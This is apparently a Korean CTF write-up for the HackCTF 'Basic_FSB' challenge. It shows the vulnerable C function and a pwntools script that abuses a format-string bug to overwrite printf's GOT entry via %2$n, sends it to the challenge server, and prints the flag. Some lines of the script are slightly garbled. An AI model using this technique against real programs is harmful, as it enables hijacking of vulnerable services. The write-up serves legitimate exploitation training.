[HackCTF / pwnable] Basic_FSB

2019. 10. 4. 03:52Wargame & CTF/HackCTF

포멧 스트링 버그 문제이다.



1
2
3
4
5
6
7
8
9
10
int vuln()
{
  char s; // [esp+0h] [ebp-808h]
  char format; // [esp+400h] [ebp-408h]
 
  printf("input : ");
  fgets(&s, 1024, stdin);
  snprintf(&format, 0x400u, &s);
  return printf(&format);
}
cs


취약한 함수 부분이다. fgets로 오버플로우가 나지 않게 제한을 걸어두었다.


"AAAA%x%x" 처럼 보냈을때, 두번째에서 41414141이 뜬다.

AAAA자리에 printf got를 넣고 %(flag_adress-4)x를 한 다음에, %2$n을 이용해서 printf got에 flag의 주소를 덮어 씌울것이다.


ex.py


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ELF("./basic_fsb")
#p = process("./basic_fsb")
= remote("ctf.j0n9hyun.xyz"3002)
 
payload = ""
payload += p32(e.got["printf"])
payload += "%" + str(e.symbols["flag"- 4+ "x"
payload += "%2$n"
 
p.sendline(payload)
p.interactive()
cs


Basic_FSB : HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}